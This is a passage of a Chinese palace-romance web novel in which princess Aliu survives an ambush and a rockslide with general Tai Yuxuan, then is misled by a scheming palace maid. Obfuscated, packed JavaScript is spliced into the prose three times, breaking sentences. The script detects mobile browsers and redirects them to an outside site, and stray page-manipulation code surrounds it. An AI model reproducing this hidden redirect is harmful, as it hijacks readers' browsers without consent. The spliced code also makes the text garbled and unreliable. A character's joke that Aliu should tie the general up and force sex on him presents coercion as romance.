“阿柳!”邰玉轩怒吼一声,从未如此失态地直呼其名。 他狂暴地杀开一条血路,冲到阿柳身旁,与她背靠背形成防御。 “你受伤了。”他咬牙道,手中长剑不停,又将一名刺客穿胸而过。 “小伤。”阿柳简短回应,将孩子护在身后,“左翼三人,右翼五人。” 邰玉轩心领神会,两人配合默契,手起刀落间便又解决了一大波人。 刺客们显然没料到这位“公主”如此难缠,更没料到两人联手如此可怕,所以很快就死伤大半。 残余刺客见势不妙,一声呼哨便要撤退。 “留活口!”邰玉轩喝道。 阿柳捡起一旁尸体上的长剑,精准贯穿那名看似头目的刺客小腿,随后那人惨叫倒地,便被赶来的侍卫拿下。 战斗结束得很突然。 营地一片狼藉,侍卫死伤七人,刺客除被俘一人外全部毙命。 邰玉轩顾不上处理善后,大步走向阿柳,她正蹲在地上为那个被救的孩子检查伤势,肩头的伤还在渗血。 “让我看看。”他不由分说地抓住阿柳的手臂。 阿柳抬头,月光下她的脸色苍白如纸,但眼神依然锐利:“先确保安全,他们可能还有后援。” 邰玉轩点头,迅速部署加强警戒,又命军医为阿柳包扎。 直到确认营地彻底安全以后,他才开始着手提审那名俘虏。 但还不等他开问,谁曾想这俘虏嘴角突然溢出黑血,竟是头一歪便断了气。 “齿间□□。”曲衡掰开死者嘴巴,顿时大惊失色,“这是死士!” 阿柳站在一旁,她换了身干净的衣裳,闻言走了过来:“不是普通的刺客?” “嗯!”邰玉轩站起身,与她四目相对,“他们是冲你来的。” 阿柳沉默片刻:“我们得谈谈。” 篝火旁,侍卫们都被支开,只剩他们二人。 火焰在阿柳脸上投下摇曳的光影,为她平添了几分神秘。 “你知道他们是谁的人吧。”阿柳开门见山。 邰玉轩没有表现出惊讶:“昨夜皇城传来消息,说是东宫的人马。” “东宫?”阿柳嗤笑了一声,“不会是胥阳丹。” 胥阳丹,东陵太子,也就是胥嘉一心辅佐的那个男人。 邰玉轩听罢,没有开口,等着阿柳的下文。 但见他这么沉得住气,阿柳心里反而有些不得劲,“你不问问为什么?” 阿柳的杏眼圆圆的,大大的,每次露出那种不满意的神情时,白糯的小脸看起来就像只小猫。 邰玉轩指尖发痒,想像幼时一样揉揉她的脑袋,但到底是理智尚在,所以只是轻笑着抬手拨弄了一下身旁的篝火。 火星噼啪炸开,他回道:“想说的话你自然会告诉我。” 阿柳嘴角一撇,颇有些不服气邰玉轩这自以为很了解她的模样。 但他了解她,似乎也不只是他以为的,多年相伴的默契下,他们俩本就是比对方还要更了解彼此的人。 所以捡起一块木柴甩进火堆,阿柳没再硬拗着,而是直接说道:“说出来你可能不信,我身边的那位朋友云溪,其实是个从异世来到这里的奇女子。据她讲述,我们生活的这个世界只是她闲暇时候看过的画本子,而这画本中的主角,便是宫中那位占据了我身份的假公主胥嘉,以及我那素未谋面的太子皇兄胥阳丹。” 阿柳说完这话后,黑亮的眼珠一直牢牢盯着邰玉轩的脸,揣测着他会如何反驳亦或者质疑自己所说的话。 但谁知等了好半天,这家伙竟是没头没脑问了句:“所以你让那褚奎躲在你的帐篷里,是因为早知今夜会发生行刺之事,而非其他?” 火光在邰玉轩的眸中跳动,他的神情却出奇地平静,就仿佛阿柳方才说的不过是“今夜月色不错”这样的闲话。 他慢条斯理地用铁钳拨弄炭火,溅起的火星像碎金般飘散在两人之间。 “你......”阿柳的指甲无意识掐进掌心,“就只关心这个?” 邰玉轩突然倾身向前,惊得她往后一仰。 他伸手摘去她发间沾着的草屑,温热的指腹似有若无擦过耳廓:“你从小在丹骆村长大,接触的人除了我和你师父,也无外乎就是村子里面的那些人。但这些人全都对你的身世一无所知,所以即便知道自己的身世有异,你也不会这么斩钉截铁的确认自己的身份就是东陵公主……” 他每说一句就屈起一根手指,最后将攥成拳的手轻轻抵在阿柳心口,“而再将你说得画本子与擅闯军营的事情串联起来,我想,你听了那云溪说的话以后并未完全相信,而是直到按她所述真的在军营见到了我,才确定了她所说的都是实情,对吗?” 邰玉轩说得一字不差,阿柳呼吸微滞,胸口随着他拳头的轻抵而微微起伏。 她没想到,他竟将她心思的每一分辗转都看得如此透彻。 帐外的风掠过营旗,发出簌簌声响,火光映照下,邰玉轩的眉眼深邃如墨,却又带着几分她熟悉的、近乎纵容的笑意。 她沉默片刻,终于低声道了句:“……是。” “云溪告诉我,若按画本子的走向,我会在北甸破城后独身前往东陵寻你,但行至半道,便在青崖岗被班师回朝的东陵军乱箭射杀。”她抬起眼,直视着他,“可当我按她的话与你重逢后,按理来讲应该摆脱了必死结局,但之后却又在军营中遭遇了陆贾的围杀。他受命于胥嘉,如此看来,那画本子中所谓的乱箭射杀估计也并非凑巧。所以我和云溪猜测,胥嘉不想让我回去,而一计不成必然还有后手,为了确保我的安全,我便让褚奎在我和云溪的营帐里打了个地铺。” 邰玉轩听完阿柳的话,眉头轻蹙:“按你所说,既然胥嘉和太子狼狈为奸,她又如此容不下你,那你此次回宫,岂非是凶多吉少?” 阿柳轻哼一声:“凶多吉少又如何?好不容易才找到自己的家人,就算是九死一生我也是要回去的!再者说,如果作为主角的胥嘉真有这么厉害,那我又怎么可能几次三番的从她手里逃脱?所以依我看来,她能做主角也不过是她从前命好,但现在我没死,我才是公主了,现在命好的是我,谁能笑到最后那可真不好说!她想要我死,那我就偏要逆天改命,且看看走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974175|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后,我和她之间究竟谁输谁赢!” 邰玉轩凝视着眼前这个倔强的女子,火光在她的眼中跳动,仿佛燃烧着不屈的意志。 他忽然就想起当年在丹骆村的田埂上,两个人比赛谁的胆子大,她也是如同今天这样,眼睛像是盛满了闪亮的星光,然后一拳一个,囊死了半块田的赖克宝。 “你真是倔得很。”邰玉轩轻叹一声,伸手拂去她肩上不知何时落下的一片枯叶,“但你要明白,皇宫不比战场,战场上刀剑无眼,却也有迹可循,但宫闱之中,往往都是杀人不见血,防不胜防。” 阿柳微微侧头,感受着他指尖轻触带来的温度,却倔强地不肯退让:“邰将军何时变得这般畏首畏尾了?难道你在和北甸交战的战场上,也是这样瞻前顾后?” “我不一样,那时我无所牵挂。”邰玉轩的声音低沉下来,“如今……” “如今什么?”阿柳抬眼看他,心跳不知为何加快了几分。 但邰玉轩却移开了目光,转向帐外渐亮的天色:“如今你认祖归宗,便是东陵国的公主,我作为臣子,职责便是护你周全。” 只是臣子吗? 阿柳眼中的光芒暗了暗,嘴角却扬起一抹倔强的笑:“邰将军真是一如既往的恪守本分。” 她故意往旁边挪了挪,拉开两人之间的距离,指尖却不自觉地摩挲着方才被他触碰过的肩头,那里似乎还残留着温度。 远处晨光渐亮,将两人的影子拉得很长。 阿柳忽然又想起了国公夫人说得那句“断了”,再看邰玉轩今夜这始终“不忘初心”的模样,看样子,他们只之间也确实是该断了! 说得好像谁缺他的保护似的,牛逼的要死,牛逼大王! 以后就算是上赶着要给自己当狗,自己都嫌他叫得难听! 阿柳心情不佳地清了清嗓子,故作镇定道:“既然邰将军如此尽职,那便不要休息了,咱们现在启程,回宫!” …… 与此同时,东陵皇城东宫。 胥嘉轻抚琴弦,一曲阳春白雪弹得缠绵悱恻,太子胥阳丹坐在她的对面,眼中满是欣赏。 “嘉儿琴艺又精进了。”太子赞叹道。 胥嘉垂眸浅笑:“皇兄过奖,只是近日心神不宁,弹琴略能静心。” “哦?何事烦忧,嘉儿说来听听,看为兄是否能为你排解一二?” 胥嘉欲言又止,最终轻叹:“听说,这两日那位民间的公主便要被送回来了。” 太子眉头一皱:“确实是快到了,不过嘉儿不用担心,孤已向父皇求情,他念在你主动坦白以及这么多年的情分上,会在那人回来之后,赐你郡主之荣,且其他大小事务,依旧一如从前。” “郡主……”胥嘉指尖一顿,琴音戛然而止,“皇兄,你觉得嘉儿是在乎这些虚名的人吗?只要能留在皇兄身边,嘉儿根本就不在乎这些!只是皇兄也知道,嘉儿一直拥有预知未来的能力,而在嘉儿预知的未来之中,这阿柳原本应是个不该出现之人啊!” 太子惊讶:“你的意思是这位流落在外的皇妹有问题?” “嘉儿不敢断言。”胥嘉抬眼,眸中含泪,“只是一个不该出现的人现在却忽然回来,虽不知道究竟是好是坏,但到底是个隐患。” 太子神色凝重起来:“若真如此,此事非同小可,嘉儿可有什么好主意?” 胥嘉挽住太子的手臂,声音柔而不媚:“皇兄若信得过嘉儿,将你手中的人马允我调遣一二,我定能查明真相。若她真是个没有异心的好皇妹,嘉儿自当欢喜相迎,若她心怀不轨,那嘉儿也绝不容她坏了皇兄你的大事!" 太子沉吟片刻,轻轻拍了拍胥嘉的手背:“嘉儿向来最懂分寸。好,那孤便将暗卫营调拨给你,务必要查个水落石出。” “多谢皇兄信任。”胥嘉盈盈下拜,低垂的眼睫掩去了眸中算计,“嘉儿定不负所托。” 待太子离去,胥嘉脸上的柔弱之色一扫而空。 她缓步走向窗前,望着远处宫墙上盘旋的乌鸦,指尖不自觉地摩挲着腕上的青鸾玉镯。 “阿柳……”她轻声呢喃,“这次我看你如何破局!” 10. 遇险被困,阿柳包扎 夕阳西沉,天边最后一抹金辉为阿柳乘坐的马车描上淡金色的轮廓。 车帘被晚风吹得轻轻摆动,隐约可见她倚在云溪肩上的身影。 或许是坐得有些乏味,她纤细的手指无意识地缠绕着腰间的系带,看起来有些昏昏欲睡。 “公主,怕是要准备扎营了。”褚奎骑着马靠近车窗,压低声音道,“前面是断魂峡。” 阿柳撩开车帘,正瞧见邰玉轩策马而过的侧影。 他身着玄色劲装,腰间佩剑在夕阳下泛着冷光,似乎是察觉到视线,他忽然转头,却在与阿柳四目相对的瞬间猛地勒住缰绳。 骏马前蹄扬起,溅起一片尘土。 “过了那个什么峡再休息吧,天色还不算晚。”阿柳轻声吩咐,声音柔得几乎化在风里。 “过了峡谷再行半日便可进入皇城了。”邰玉轩驱马来到阿柳的马车旁,马鞭前指,声音里带着几分凝重。 阿柳顺着他手指的方向望去,两座陡峭山崖如刀劈斧削般对峙,中间一条窄路蜿蜒而过,崖壁上怪石嶙峋,偶有飞鸟掠过,发出刺耳鸣叫。 “这地方地势险要,易守难攻。”阿柳眯起眼睛,“若有伏兵,我们只怕是凶多吉少。” 邰玉轩点头:“方才我已提前派斥候探查过,回报说并无异常。但……”他眉头微皱,“总觉得太过安静。” “分两队通过吧。”阿柳提议,“我带云溪、褚奎和一半侍卫先行,你押后,若有埋伏,也好互相策应。” 邰玉轩刚要反对,但见阿柳眼神坚定,只得改口:“那你务必多加小心,有任何异常立刻发信号。” 队伍分列而行。 阿柳率前队进入峡谷,马蹄声在峭壁间回荡,显得格外清脆。 她仰头观察两侧山崖,神经紧绷如弓弦。 前半段走得倒是格外顺利,并未发现任何异常之处,但在行至峡谷中部时,一声尖锐的鸟鸣忽然突兀的响起。 阿柳猛地抬手,队伍立刻停下。 “什么声音?”云溪紧张地问道。 阿柳没有回答,耳朵微动,那声鸟鸣太过刻意,而且…… 她的瞳孔骤然紧缩,崖顶有反光! “后退!快点后退!”她厉声喝道。 而几乎在她话落的同时,一声巨响震彻峡谷,崖顶巨石轰然崩塌,如细雨般劈头砸下。 “山崩了!” 马匹惊叫嘶鸣,队伍大乱。 马车里不能再呆了,阿柳拉着云溪立马从马车里钻了出来,但还没来得及逃跑,却见一块巨石竟直接朝着云溪砸去! 阿柳不假思索的飞身扑去,将云溪推离险境,但自己却被飞溅的碎石击中后背,踉跄倒地。 “阿柳!”云溪尖叫。 更多巨石滚落,烟尘弥漫。 阿柳勉强爬起,却发现退路已被堵死,正在这时,一块巨石又朝她当头砸来,而她此刻退无可退,几乎是要和这块石头迎面撞上! 这么大的石头,要真是撞到了自己的身上,怕是不死也得丢了半条命! 阿柳心如擂鼓,眼看着那石头已近在眼前,电光火石间,突然一道黑影掠过,随后一只强有力的手臂环住她的腰身,带着她就地滚向了一侧。 是邰玉轩! 巨石擦着他的后背砸在地上,发出沉闷巨响。 “邰玉轩!你……”阿柳睁大眼睛,不敢相信他竟冒险冲入险境,“你发什么神经!” “抓紧!”但邰玉轩无暇多言,抱起她便冲向一处岩壁凹陷。 而就在他们跑开的那一瞬间,更多石块忽然砸在他们身后,激起一片飞扬的尘土。 ……终于,崩塌停止。 阿柳从邰玉轩怀中抬头,发现他们现在正被困在一处狭小的空间里,且前后路都被巨石封死了。 “你受伤了。”她注意到邰玉轩后背的衣衫被划破,里面隐约有血迹渗出。 “皮外伤。”邰玉轩喘着气,却还笑得出来,“你倒是会挑地方避难。” 阿柳环顾了一圈四周,发现这地方岩壁光滑,无处攀爬,上方虽露出一线天空,但又太高无法触及。 ……怎么滚这么个鸟拉屎都嫌费劲的地方来了。 “云溪他们……” “曲衡还在外面,他会照顾好他们的。”邰玉轩试着推动堵路的巨石,但却纹丝不动,“看样子我们得等人来救了。” 阿柳早看出凭他们两个人的力气根本不可能逃出去,所以才懒得像邰玉轩这头蛮牛一样还得跑去推一推。 她坐在地上,利落的撕下一截衣袖,然后示意邰玉轩转身:“我先给你包扎。” 邰玉轩迟疑片刻,想着反正都出不去,便还是老老实实的背对着她坐下。 阿柳小心的掀开他破损的衣衫,尽管早有准备,但在看见里面的那道伤口时,还是没忍住倒吸一口冷气。 只见一道深可见骨的伤口,居然横贯了他结实的背部! “这叫皮外伤?”阿柳声音微颤。 “在战场上这算不得什么。”邰玉轩语气轻松,但肌肉的紧绷到底是泄露了他的强撑。 阿柳没拆穿他的死鸭子嘴犟,而是立马从腰间取出一小瓶药粉,轻轻洒在了他的伤口上。 邰玉轩肌肉猛地收缩,却硬是没吭一声。 “忍一下。”阿柳的声音不自觉地柔和下来。 她指尖轻触他背部的皮肤,感受着那下面蕴藏的力量,心跳没来由的悄悄加速。 包扎完毕,邰玉轩转身道谢,可阿柳还维持着叉腿坐在他身后的姿势。 所以回身的一瞬间,两人四目相对,距离近得几乎能感受到对方的呼吸。 阿柳闻到他身上混合着血与尘土的独特气息,莫名地令人安心。 邰玉轩则注视着她沾满尘土却依然清丽的脸庞,和那双如寒星般明亮的眼睛。 时间仿佛在这一刻静止。 “将军!将军!”但是曲衡粗狂的喊声突然从石堆的另一端传来,打破了这一刻难得的温馨。 两人如梦初醒,赶忙手忙脚乱的各自退开。 “在这儿。”邰玉轩高声回应,声音略显嘶哑。 这场救援持续了整整一个时辰,当阿柳和邰玉轩终于脱困时,夜色已经爬满了整个峡谷。 而阿柳才刚爬出来,在一旁守候多时的云溪便立马扑上来抱住了她。 这丫头也不知是哭了多久,一双眼睛肿的像核桃似的:“吓死我了,阿柳,到处都找不到你们俩,我还以为你们被石头砸成美味蟹黄堡的大肉饼了!” “我没事。”阿柳没听懂云溪叽里呱啦说的啥,她轻拍她的后背,目光却不自觉地落在了远处的邰玉轩身上。 他正指挥着士兵处理伤员,背影挺拔如松,仿佛不曾受伤一般。 …… 经历过此事,他们自然不好再继续赶路,所以只好将营地扎在了峡谷外,暂做修整。 阿柳虽然会医术,但做毒药才是她的强项,而至于替人包扎这种细致活,却只能简单的糊弄一下。 所以所有东西忙完以后,军医又为邰玉轩重新包扎了伤口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974176|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿柳从扎营以后就显得心事重重,此刻正独自坐在篝火边,望着跳动的火焰出神。 “想什么呢?”云溪递来一杯热茶。 阿柳接过茶杯,热气氤氲中轻声道:“今天若不是邰玉轩,我恐怕已经死了。” “你爱上他了对不对!”云溪说得不是疑问句,“英雄救美,然后芳心暗许这种烂大街的套路我一眼就看出来了!” 阿柳手一抖,茶水溅出几滴:“什么是爱?” 云溪蹲下身,声音压得极低:“爱就是你总是不由自主的想起他,念着他,只要和他待在一起,你的心里就痒痒的,麻麻的,会克制不住的想要靠近他!你肯定是爱上他了,我也看得出来他喜欢你!”云溪说着犹豫了一下,“但你们俩的嘴巴都硬得要死,明明互相喜欢,却总是想要把对方推得远远的,就你们这样子,我都怕你们俩要是真在一起了,到时候亲个嘴都把门牙给磕坏!” 阿柳把茶盏搁下,面露愁容。 “我也不想把人这样推得远远的呀,可曾经对我那么好的人,如今却总想着和我划清界限,我明明也看得出来他并不是因为变了心,可对于他的态度又完全无能为力。再加上他母亲说的话,我实在是不知道该怎么办才好了……” 阿柳的声音越来越低,她的手指无意识的搅动着裙摆,篝火在她的眼眸中跳动,映出一片迷茫之色。 见阿柳情绪如此低落,云溪的心里也不好受。 但相较于阿柳和邰玉轩这两个人的当局者迷,她这个旁观者眼下倒像个明镜似的,一眼看透了二人之间的关键所在。 她拍了拍阿柳的肩膀,突然神秘兮兮地凑近:“阿柳,你有没有发现,其实你一直在按照别人的思路走。” 阿柳不解其意,“什么意思?” 云溪眼睛一眯,手指轻轻点了点阿柳的心口:“她娘说你们没缘分,你就真觉得你们没缘分了?邰玉轩躲着你,你就只敢远远看着了?”她轻哼一声,“你要知道,你可是公主,他邰玉轩再怎么厉害,那也只是一个臣子!而作为臣子,那还不是你想要他怎样就怎样!所以你既然已经确定喜欢他了的话,那又何须再管他是个什么意思呢?诱哄,欺骗,实在不行把他绑了来强上!反正他心里也是有你的,你这么做,到时候他指不定还要躲在哪里偷着乐呢!” 而阿柳听了云溪这番话,先是一愣,随后脸颊“腾”地一下就烧了起来,甚至连耳尖都红了个透。 她结结巴巴道:“你……你胡说什么呢!我怎么能把他绑了做那种……那种……” 云溪挑眉,笑得促狭:“那种什么?” 阿柳说不出口,羞恼地瞪她一眼。 但云溪忽然又收敛了笑意,转而认真道:“阿柳,我知道古代的女子都很保守,同样的在我那个时代,其实也还有很多谈性色变的人。但我要告诉你的是,人其实没必要活得那么累,别人的眼神,繁琐的规矩,这些东西就像是枷锁一样把多少鲜活的生命困死在了一间虚无的牢笼里。可人的一生多短呀,几十年的光阴眨眼便消失殆尽,而这短短的一生,背负这些真的有意义吗?其实从见你的那天起我就知道,你不是一个迂腐的人,所以我才会和你说这么多,而说这么多最后想告诉你的其实也只有一句。” 云溪握住阿柳的手腕,“阿柳,你是自由的,没有什么能束缚得了你,感情也不例外!” 所以不想爱下去就割舍,实在喜欢便使尽浑身解数去追求。 人生就是要活得轰轰烈烈才有意义,没必要画地为牢,把自己困在一个人的苦海里…… 11. 宫门话别,刁奴暗算 东陵城的晨雾比丹骆村要稠得多,像一锅煮过头的米汤,黏糊糊地糊在人脸上。 阿柳站在宫门前,手指无意识地捻着新换的锦缎衣袖。 太滑了,滑得让她想起山涧里的泥鳅。 昨夜云溪的一番话在她的脑袋里翻腾了一宿,此刻仍像沸水般咕嘟作响,搅得她心神不宁。 其实阿柳从国公夫人找她的那一夜就已经做好了选择,只是这些日子和邰玉轩朝夕相处,他们之间毕竟是有真感情的,所以无法轻易割舍。 但现在停在宫门口,只等她往前一步,隔着厚重的宫墙,等着他们二人的便是此生不复相见。 多深的感情交给时间,都会变淡的,所以就到此为止吧…… 细雪来得突然,跟在阿柳身后的邰玉轩睫毛上沾了几片雪粒,映着宫门前朱红的灯笼,像是撒了一层淡淡的银粉。 阿柳回头看时,正看见他一边望着自己,一边抬手拂去肩上的落雪。 “公主,该进宫了。”但宫门口等候多时的嬷嬷声音像一把钝刀,硬生生切断了两人交织的视线。 阿柳攥紧了手腕上的红绳,这东西是送出去又被舍弃掉的,合该在下定决心的那一刻也一并扔掉。 可她又始终没有舍得,便蹉跎留到了如今。 邰玉轩的目光顺着阿柳的动作落在她腕间那抹褪色的红绳上,眼底不由得暗了暗。 显然他也是记得这东西的。 他还记得那时候新年守岁,阿柳没钱买礼物,但又想送自己点东西,最后琢磨来琢磨去,便亲手编下了这条红绳给他。 那时候她亲手将这红绳系在他的腕上,彼时灯火煌煌,她仰头微笑,说这红绳若是断了,便要他把一辈子都赔给她。 可如今红绳还在,而有的东西,却终究还是断了。 “邰玉轩。”阿柳忽然开口,声音轻得几乎被风雪淹没,“今日一别,怕是再难相见,你……可还有话要对我说?” 只要他开口,只要他挽留……她就愿意再给他一次机会! 阿柳心里暗暗地想着。 可邰玉轩单膝跪地,铁甲在雪地里压出深深的痕迹。 他低着头,声音沉冷如铁:“臣奉命护送公主回宫,职责已尽……无话可说!只盼公主往后余生,平安康顺,喜乐无忧!” 阿柳指尖微颤。 无话可说? 那这些时日面对刺杀时的舍命相护,以及篝火旁的倾心交谈都是什么? 还有那些生死关头脱口而出的呼唤,不是公主,是阿柳,是丹骆村和他朝夕相处了十多年的阿柳! 这些都是什么? 是他手抽筋,是他话太多,还是当自己是个傻的聋的眼睛瞎的! 尽管云溪昨晚说得那些话确实让阿柳乱了心神,但阿柳到底念着旧情,不想把事情做得那么难看,所以也是真的下定决心要如邰玉轩所愿划清界限。 而且这时候她也不是非要听点什么挽留的话才肯罢休,但你邰玉轩好歹说说软话,装装可怜,让她心里稍微好受点不行吗。 结果他可倒好,又变回了那个冷硬如铁的邰将军,张口就是一句无话可说! 好好好!无话可说是吧! 阿柳利落的解下手上的红绳,然后一把甩到邰玉轩脸上,“物归原主!” 既然他邰玉轩敬酒不吃吃罚酒,那她送出去的东西又岂有再收回来的道理,不管是红绳,还是她的感情! 一旁的嬷嬷又不耐烦地催促起来:“公主,莫要耽搁了时辰。” 阿柳深吸一口气,没再多看邰玉轩一眼,转身迈入了宫门。 等着吧,邰玉轩,你越是想逃,我就越是要把你牢牢的握在掌心。 毕竟,正如他所说的,谁让自己现在是公主呢! 宫门缓缓关闭,将阿柳的身影一点点吞没,邰玉轩错愕地将那节红绳握在掌心,很想再说上点什么。 可朱红色的大门已严丝合缝地闭上,他再也无法看见风雪里的那道倩影。 * 玄武门在身后轰然关闭的刹那,阿柳的耳膜被震得生疼,那声闷响像一记重锤,将她与邰玉轩彻底隔绝在两个世界。 “公主,请随老奴来。” 引路的嬷嬷声音像掺了冰碴,那张布满皱纹的脸在宫灯的映照下如同鬼魅,阿柳下意识后退半步,直至撞上身后的云溪,才稍稍有些定下心来。 这就是皇宫吗? 阿柳抬眼望去,只见宫道两侧朱墙高耸,墙头覆盖着未化的积雪。 而墙下大概每隔十步就立着一名金甲侍卫,他们的腰侧佩剑,神情冷峻,对周遭的一切皆视若无睹。 “这些是皇城司的缇骑。”嬷嬷头也不回地解释,“专司缉拿宫闱叛逆,不会惊扰了贵人,公主无须惊慌。” 阿柳的后颈突然窜过一阵寒意。 她此刻才有些真切地意识到,这座皇城似乎要远比邰玉轩所描述的可怕千万倍。 往后,她便都要留在这里生活了吗? 而这座皇城里面的父亲,母亲,以及兄弟姐妹们,又是否能真心的接纳她呢? 阿柳不自觉的攥紧了袖中的虎符。 其实不管他们是否会真心接纳,只要有此虎符在手,她都自有办法得到自己想要的一切! “公主和邰将军倒是情深义重。” 嬷嬷阴阳怪气的声音突然响起,惊得阿柳手一抖,虎符差点从袖中滑落。 她慌忙地松开手指,却见嬷嬷那双浑浊的眼睛正意味深长地盯着她的袖口。 阿柳冷冷地扫她一眼:“嬷嬷慎言。” “老奴多嘴了。”嬷嬷假意掌嘴,眼底却闪过一丝轻蔑,“只是公主既已回宫,就该知道自己的身份,邰将军再如何,那也不过是个外臣,公主日后还是少接触的好。” 阿柳没有接话。 她知道这老刁奴是存心来为难自己的,只是眼下自己才刚刚回宫,还不清楚这东陵皇帝的脾气,所以先暂且忍她一手,等摸清情况以后,再来收拾她也不迟。 而见阿柳不搭话,那嬷嬷眼珠转了好几圈,尽管心里面还是憋着坏,也到底是顾忌着身份没敢再造次。 从玄武门进去,往右拐进渠荣门后,带路的嬷嬷将阿柳引到了一顶小轿前。 阿柳还没来得及询问,嬷嬷便率先开口道:“皇极殿离此尚远,皇上体恤公主一路辛苦,所以特命人准备了这顶小轿,允公主乘轿至皇极殿,还请公主上轿吧。” 而在那顶轿子的旁边,还站着一位长脸的嬷嬷,这边带路的嬷嬷话刚说完,她便立马朝阿柳行了个礼,“见过公主,奴婢是未央宫的李嬷嬷,特来送公主去往皇极殿。” 未央宫,便是皇后的宫殿,这人是皇后派来的吗? 阿柳正想着皇后还未见过自己,便特意着人来接自己,那她的这位母亲应该算是个极好的人。 而皇后既然体恤她,她自然也没有为难这位李嬷嬷的必要,所以立马便要叫她起身。 可谁知笑吟吟的阿柳还未开口,这李嬷嬷竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974177|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不等她回应便直接起身搀扶。 感受着那节枯瘦的手指像铁钳般扣住自己的手腕,阿柳心头一跳,总觉得哪里有些不对劲。 可还没等她想出个所以然来,便被这李嬷嬷半强迫地推上了那顶青帷小轿,这架势,不像是送她去认亲,倒像是送她上黄泉! 阿柳蹙着眉头撩开轿帘,原是想套套话,看看究竟是哪里不对。 可谁知轿帘拉开,她的余光便瞥见一直跟着自己的云溪和褚奎,竟是被一群宫女带着拐向了另一条道。 “怎么回事?”阿柳立马问道,“那二人是随我一道入宫的,这一路他们护我安康,算得上是我的救命恩人,我是要带着他们一道去见父皇母后的,你们这是把人给我带到哪儿去?” 可李嬷嬷闻言却并没有叫人停下轿子,甚至还有越走越快的趋势,“公主不知,今日只是确认您的身份,还未到正式的册封礼。所以按宫里的规矩,他们只能先在别处等候。不过公主不必担心,奴婢已经为他们寻了个好去处,只等您与皇上相认,便可再与他们团聚。” 真是如此吗? 阿柳坐立难安,脑子里忽然就浮现出了这几日归途上遇到的截杀。 她知道这些都是胥嘉的手笔,这个女人早知道自己的身份,她会阻止一切可能打破她计划的不安定因素出现,所以一直在不遗余力的想要除掉自己。 可这一路走来,尽管阿柳或多或少的受了些小伤,但到底没什么大碍,还是平安的进入了皇城。 但胥嘉真的会这么轻易的放过自己吗?如果不会,她又还会在什么地方等着对自己出手呢? 忽的,阿柳想起住在未央宫的主子可不止是皇后一人! 从前胥嘉占据了自己的身份,作为皇后的女儿,一直是和皇后一起住在未央宫的。 所以,这李嬷嬷说自己是未央宫的人,而非直接说是皇后的人,会不会就是因为派她来得人,根本就不是皇后,而是胥嘉呢! 想到这里,阿柳抬起一个手指再次轻轻挑开轿帘,发现方才还走在宫道上的轿子,不知从何时开始竟然越走越偏。 “李嬷嬷,是不是走错路了,我怎么记得去皇极殿不是走得这里……”阿柳是诈李嬷嬷的,她从来没有来过皇宫,也没有看过皇宫的分布图,又怎么可能知道这路到底有没有错。 可人在做坏事的时候总是容易自乱阵脚,又更遑论阿柳如今的身份还是个公主,所以她煞有其事的一诈,这李嬷嬷立马就慌了神。 “公主恕罪,是先前常走的路今日正在修缮,所以便只能绕道走些远路了,公主若是太累,小憩片刻便好,等到了地方,奴婢自会叫醒公主。” 小憩片刻? 阿柳勾唇冷笑,只怕她要真是这么睡过去了的话,再睁眼,脑袋和身体还是不是一家那可就不太好说了。 不过听邰玉轩说,胥嘉已经主动坦白了自己假公主的身份,虽然皇帝念及旧情除了将她降为郡主外,没再剥夺她往日的一应殊荣。 但她如今一个郡主,真的敢在皇宫里面这么明目张胆的对自己下死手吗? 阿柳觉得她没有这个胆子,毕竟听说这东陵皇帝正值壮年,手段凌厉,那个护着胥嘉的太子皇兄再怎么手眼通天,也不至于现在就将皇帝给压了去。 所以如果不是取自己性命的话,那……多半就是为了在正式确认身份之前,找个由头羞辱自己一番,给她出出气。 可凭什么要委屈了自己给她出气啊,阿柳不屑地撇撇嘴,喊道:“停轿。” 12. 和胥嘉的初次交锋 如阿柳猜想的一般,没有人听她的,看样子这些人是打定了主意不会放过自己了。 可她阿柳要真是一个循规蹈矩的人,当初又怎么可能从东陵士兵的手中逃脱,再一路走到了这皇宫里面来呢? 所以见外面的人没有动作,阿柳瞅准时机,掀开轿帘便径直冲了出去。 抬轿的几人走得极快,所以刚冲出去的时候,依着惯性,阿柳还有些抑制不住的往前扑了几步。 但这恰恰也给了阿柳同他们拉开距离的机会。 于是在李嬷嬷惊呼后的一阵阵呼唤里,阿柳抱着裙摆就撒开脚丫子跑了起来。 “公主!快停下!皇上还在皇极殿等着你呢!” 李嬷嬷和那几个抬轿的太监甩下轿撵,全都朝着阿柳狂奔而来,但阿柳自幼在山野长大,哪是这些个在宫里养着的闲人能轻易追上的。 所以很快这些人便全都被她甩在了身后。 可是虽然跑得够快,但奈何阿柳根本就不认识路,所以七拐八拐,最后她竟然跑进了一条死胡同。 